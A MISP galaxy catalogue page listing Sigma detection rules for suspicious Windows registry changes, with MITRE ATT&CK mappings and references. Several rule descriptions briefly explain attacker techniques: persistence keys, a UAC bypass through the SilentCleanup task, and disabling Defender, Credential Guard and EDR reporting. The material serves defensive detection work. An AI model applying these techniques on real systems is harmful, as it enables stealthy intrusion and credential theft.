Suspicious Space Characters in RunMRU Registry Path - ClickFix has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Copy and Paste - T1204.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

Table 14445. Table References

Links
https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/
https://github.com/JohnHammond/recaptcha-phish
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_runmru_space_character.yml

New Root or CA or AuthRoot Certificate to Store

Detects the addition of new root, CA or AuthRoot certificates to the Windows registry

The tag is: *misp-galaxy:sigma-rules="New Root or CA or AuthRoot Certificate to Store"*

View relationships graph

New Root or CA or AuthRoot Certificate to Store has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 14446. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml

Potential Persistence Via CHM Helper DLL

Detects when an attacker modifies the registry key "HtmlHelp Author" to achieve persistence

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via CHM Helper DLL"*

Table 14447. Table References

Links
https://persistence-info.github.io/Data/htmlhelpauthor.html
https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_chm.yml

New Netsh Helper DLL Registered From A Suspicious Location

Detects changes to the Netsh registry key to add a new DLL value that is located on a suspicious location. This change might be an indication of a potential persistence attempt by adding a malicious Netsh helper

The tag is: *misp-galaxy:sigma-rules="New Netsh Helper DLL Registered From A Suspicious Location"*

View relationships graph

New Netsh Helper DLL Registered From A Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

Table 14448. Table References

Links
https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll
https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_netsh_help_dll_persistence_susp_location.yml

Suspicious Keyboard Layout Load

Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only

The tag is: *misp-galaxy:sigma-rules="Suspicious Keyboard Layout Load"*

View relationships graph

Suspicious Keyboard Layout Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 14449. Table References

Links
https://github.com/SwiftOnSecurity/sysmon-config/pull/92/files
https://renenyffenegger.ch/notes/Windows/registry/tree/HKEY_CURRENT_USER/Keyboard-Layout/Preload/index
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_keyboard_layout_load.yml

Sysmon Driver Altitude Change

Detects changes in Sysmon driver altitude value. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.

The tag is: *misp-galaxy:sigma-rules="Sysmon Driver Altitude Change"*

View relationships graph

Sysmon Driver Altitude Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14450. Table References

Links
https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650
https://youtu.be/zSihR3lTf7g
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml

Allow RDP Remote Assistance Feature

Detect enable rdp feature to allow specific user to rdp connect on the targeted machine

The tag is: *misp-galaxy:sigma-rules="Allow RDP Remote Assistance Feature"*

View relationships graph

Allow RDP Remote Assistance Feature has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14451. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml

Potential Persistence Via LSA Extensions

Detects when an attacker modifies the "REG_MULTI_SZ" value named "Extensions" to include a custom DLL to achieve persistence via lsass. The "Extensions" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via LSA Extensions"*

Table 14452. Table References

Links
https://twitter.com/0gtweet/status/1476286368385019906
https://persistence-info.github.io/Data/lsaaextension.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_lsa_extension.yml

RDP Sensitive Settings Changed

Detects tampering of RDP Terminal Service/Server sensitive settings. Such as allowing unauthorized users access to a system via the 'fAllowUnsolicited' or enabling RDP via 'fDenyTSConnections', etc.

Below is a list of registry keys/values that are monitored by this rule:

- Shadow: Used to enable Remote Desktop shadowing, which allows an administrator to view or control a user’s session.

- DisableRemoteDesktopAntiAlias: Disables anti-aliasing for remote desktop sessions.
- DisableSecuritySettings: Disables certain security settings for Remote Desktop connections.
- fAllowUnsolicited: Allows unsolicited remote assistance offers.
- fAllowUnsolicitedFullControl: Allows unsolicited remote assistance offers with full control.
- InitialProgram: Specifies a program to run automatically when a user logs on to a remote computer.
- ServiceDll: Used in RDP hijacking techniques to specify a custom DLL to be loaded by the Terminal Services service.
- SecurityLayer: Specifies the security layer used for RDP connections.

The tag is: *misp-galaxy:sigma-rules="RDP Sensitive Settings Changed"*

View relationships graph

RDP Sensitive Settings Changed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14453. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/dd526047b8c399c312fee47d1e6fb531164da54d/atomics/T1112/T1112.yaml#L790
http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/
https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services
https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-64---disable-remote-desktop-security-settings-through-registry
https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03
https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/
http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/
https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/
https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html
https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-rdp-winstationextensions-securitylayer
https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-63---disable-remote-desktop-anti-alias-setting-through-registry

https://www.trendmicro.com/en_us/research/25/i/unmasking-the-gentlemen-ransomware.html
https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html
https://blog.sekoia.io/darkgate-internals/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_tampering.yml

Registry Disable System Restore

Detects the modification of the registry to disable a system restore on the computer

The tag is: *misp-galaxy:sigma-rules="Registry Disable System Restore"*

View relationships graph

Registry Disable System Restore has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 14454. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml

VBScript Payload Stored in Registry

Detects VBScript content stored into registry keys as seen being used by UNC2452 group

The tag is: *misp-galaxy:sigma-rules="VBScript Payload Stored in Registry"*

View relationships graph

VBScript Payload Stored in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14455. Table References

Links
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml

New TimeProviders Registered With Uncommon DLL Name

Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.

The tag is: *misp-galaxy:sigma-rules="New TimeProviders Registered With Uncommon DLL Name"*

View relationships graph

New TimeProviders Registered With Uncommon DLL Name has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003" with estimative-language:likelihood-probability="almost-certain"

Table 14456. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.003/T1547.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_timeproviders_dllname.yml

Antivirus Filter Driver Disallowed On Dev Drive - Registry

Detects activity that indicates a user disabling the ability for Antivirus mini filter to inspect a "Dev Drive".

The tag is: *misp-galaxy:sigma-rules="Antivirus Filter Driver Disallowed On Dev Drive - Registry"*

View relationships graph

Antivirus Filter Driver Disallowed On Dev Drive - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14457. Table References

Links
https://twitter.com/0gtweet/status/1720419490519752955

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_devdrv_disallow_antivirus_filter.yml

Office Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Office Autorun Keys Modification"*

View relationships graph

Office Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14458. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml

Windows Credential Guard Disabled - Registry

Detects attempts to disable Windows Credential Guard by setting registry values to 0. Credential Guard uses virtualization-based security to isolate secrets so that only privileged system software can access them. Adversaries may disable Credential Guard to gain access to sensitive credentials stored in the system, such as NTLM hashes and Kerberos tickets, which can be used for lateral movement and privilege escalation.

The tag is: *misp-galaxy:sigma-rules="Windows Credential Guard Disabled - Registry"*

View relationships graph

Windows Credential Guard Disabled - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14459. Table References

Links
https://woshub.com/disable-credential-guard-windows/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_credential_guard_disabled.yml

Windows Hypervisor Enforced Code Integrity Disabled

Detects changes to the HypervisorEnforcedCodeIntegrity registry key and the "Enabled" value being set to 0 in order to disable the Hypervisor Enforced Code Integrity feature. This allows an attacker to load unsigned and untrusted code to be run in the kernel

The tag is: *misp-galaxy:sigma-rules="Windows Hypervisor Enforced Code Integrity Disabled"*

View relationships graph

Windows Hypervisor Enforced Code Integrity Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14460. Table References

Links
https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/
https://github.com/redcanaryco/atomic-red-team/blob/04e487c1828d76df3e834621f4f893ea756d5232/atomics/T1562.001/T1562.001.md#atomic-test-43---disable-hypervisor-enforced-code-integrity-hvci
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_deviceguard_hypervisorenforcedcodeintegrity_disabled.yml

Disable Windows Defender Functionalities Via Registry Keys

Detects when attackers or tools disable Windows Defender functionalities via the Windows registry

The tag is: *misp-galaxy:sigma-rules="Disable Windows Defender Functionalities Via Registry Keys"*

View relationships graph

Disable Windows Defender Functionalities Via Registry Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14461. Table References

Links
https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html

https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html
https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting
https://securelist.com/key-group-ransomware-samples-and-telegram-schemes/114025/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml

Bypass UAC Using SilentCleanup Task

Detects the setting of the environement variable "windir" to a non default value. Attackers often abuse this variable in order to trigger a UAC bypass via the "SilentCleanup" task. The SilentCleanup task located in %windir%\system32\cleanmgr.exe is an auto-elevated task that can be abused to elevate any file with administrator privileges without prompting UAC.

The tag is: *misp-galaxy:sigma-rules="Bypass UAC Using SilentCleanup Task"*

View relationships graph

Bypass UAC Using SilentCleanup Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14462. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task
https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/
https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml

Classes Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="Classes Autorun Keys Modification"*

View relationships graph

Classes Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14463. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml

Potential SentinelOne Shell Context Menu Scan Command Tampering

Detects potentially suspicious changes to the SentinelOne context menu scan command by a process other than SentinelOne.

The tag is: *misp-galaxy:sigma-rules="Potential SentinelOne Shell Context Menu Scan Command Tampering"*

Table 14464. Table References

Links
https://mrd0x.com/sentinelone-persistence-via-menu-context/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sentinelone_shell_context_tampering.yml

Potential AutoLogger Sessions Tampering

Detects tampering with autologger trace sessions which is a technique used by attackers to disable logging

The tag is: *misp-galaxy:sigma-rules="Potential AutoLogger Sessions Tampering"*

Table 14465. Table References

Links
https://twitter.com/MichalKoczwara/status/1553634816016498688
https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml

Registry Modification to Hidden File Extension

Hides the file extension through modification of the registry

The tag is: *misp-galaxy:sigma-rules="Registry Modification to Hidden File Extension"*

View relationships graph

Registry Modification to Hidden File Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Table 14466. Table References

Links
https://unit42.paloaltonetworks.com/ransomware-families/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml

PUA - Sysinternal Tool Execution - Registry

Detects the execution of a Sysinternals Tool via the creation of the "accepteula" registry key

The tag is: *misp-galaxy:sigma-rules="PUA - Sysinternal Tool Execution - Registry"*

View relationships graph

PUA - Sysinternal Tool Execution - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 14467. Table References

Links
https://twitter.com/Moti_B/status/1008587936735035392
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_pua_sysinternals_execution_via_eula.yml

Winget Admin Settings Modification

Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks

The tag is: *misp-galaxy:sigma-rules="Winget Admin Settings Modification"*

Table 14468. Table References

Links
https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCommonCore/Public/winget/AdminSettings.h#L13
https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winget_admin_settings_tampering.yml

CurrentVersion NT Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="CurrentVersion NT Autorun Keys Modification"*

View relationships graph

CurrentVersion NT Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14469. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml

Potential Persistence Via Shim Database In Uncommon Location

Detects the installation of a new shim database where the file is located in a non-default location

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Shim Database In Uncommon Location"*

View relationships graph

Potential Persistence Via Shim Database In Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

Table 14470. Table References

Links
https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://www.blackhat.com/docs/asia-14/materials/Erickson/Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database_uncommon_location.yml

ServiceDll Hijack

Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.

The tag is: *misp-galaxy:sigma-rules="ServiceDll Hijack"*

View relationships graph

ServiceDll Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 14471. Table References

Links
https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml

WinSock2 Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="WinSock2 Autorun Keys Modification"*

View relationships graph

WinSock2 Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14472. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml

Add Port Monitor Persistence in Registry

Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.

The tag is: *misp-galaxy:sigma-rules="Add Port Monitor Persistence in Registry"*

View relationships graph

Add Port Monitor Persistence in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"

Table 14473. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml

WFP Filter Added via Registry

Detects registry modifications that add Windows Filtering Platform (WFP) filters, which may be used to block security tools and EDR agents from reporting events.

The tag is: *misp-galaxy:sigma-rules="WFP Filter Added via Registry"*

View relationships graph

WFP Filter Added via Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14474. Table References

Links
https://www.huntress.com/blog/silencing-the-edr-silencers
https://github.com/netero1010/EDRSilencer/blob/0e73a7037ec65c52894d8208e6f605a7da0a34a6/EDRSilencer.c
https://www.trendmicro.com/en_us/research/24/j/edrsilencer-disrupting-endpoint-security-solutions.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_wfp_filter_added.yml

Persistence Via Disk Cleanup Handler - Autorun

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence via autorun. The disk cleanup manager is part of the operating system. It displays the dialog box [...] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.

The tag is: *misp-galaxy:sigma-rules="Persistence Via Disk Cleanup Handler - Autorun"*

Table 14475. Table References

Links
https://persistence-info.github.io/Data/diskcleanuphandler.html
https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disk_cleanup_handler_autorun_persistence.yml

DNS-over-HTTPS Enabled by Registry

Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.

The tag is: *misp-galaxy:sigma-rules="DNS-over-HTTPS Enabled by Registry"*

View relationships graph

DNS-over-HTTPS Enabled by Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14476. Table References

Links
https://admx.help/HKLM/Software/Policies/Mozilla/Firefox/DNSOverHTTPS
https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html
https://github.com/elastic/detection-rules/issues/1371
https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_over_https_enabled.yml

Scripted Diagnostics Turn Off Check Enabled - Registry

Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability

The tag is: *misp-galaxy:sigma-rules="Scripted Diagnostics Turn Off Check Enabled - Registry"*

View relationships graph

Scripted Diagnostics Turn Off Check Enabled - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with

estimative-language:likelihood-probability="almost-certain"

Table 14477. Table References

Links
https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml

Activate Suppression of Windows Security Center Notifications

Detect set Notification_Suppress to 1 to disable the Windows security center notification

The tag is: *misp-galaxy:sigma-rules="Activate Suppression of Windows Security Center Notifications"*

View relationships graph

Activate Suppression of Windows Security Center Notifications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14478. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_suppress_defender_notifications.yml

Persistence Via Hhctrl.ocx

Detects when an attacker modifies the registry value of the "hhctrl" to point to a custom binary

The tag is: *misp-galaxy:sigma-rules="Persistence Via Hhctrl.ocx"*

Table 14479. Table References

Links
https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/
https://persistence-info.github.io/Data/hhctrl.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml

New BgInfo.EXE Custom VBScript Registry Configuration

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via "BgInfo.exe"

The tag is: *misp-galaxy:sigma-rules="New BgInfo.EXE Custom VBScript Registry Configuration"*

View relationships graph

New BgInfo.EXE Custom VBScript Registry Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14480. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_vbscript.yml

CurrentControlSet Autorun Keys Modification

Detects modification of autostart extensibility point (ASEP) in registry.

The tag is: *misp-galaxy:sigma-rules="CurrentControlSet Autorun Keys Modification"*

View relationships graph

CurrentControlSet Autorun Keys Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14481. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d
https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml

CrashControl CrashDump Disabled

Detects disabling the CrashDump per registry (as used by HermeticWiper)

The tag is: *misp-galaxy:sigma-rules="CrashControl CrashDump Disabled"*

View relationships graph

CrashControl CrashDump Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14482. Table References

Links
https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml

New BgInfo.EXE Custom WMI Query Registry Configuration

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe"

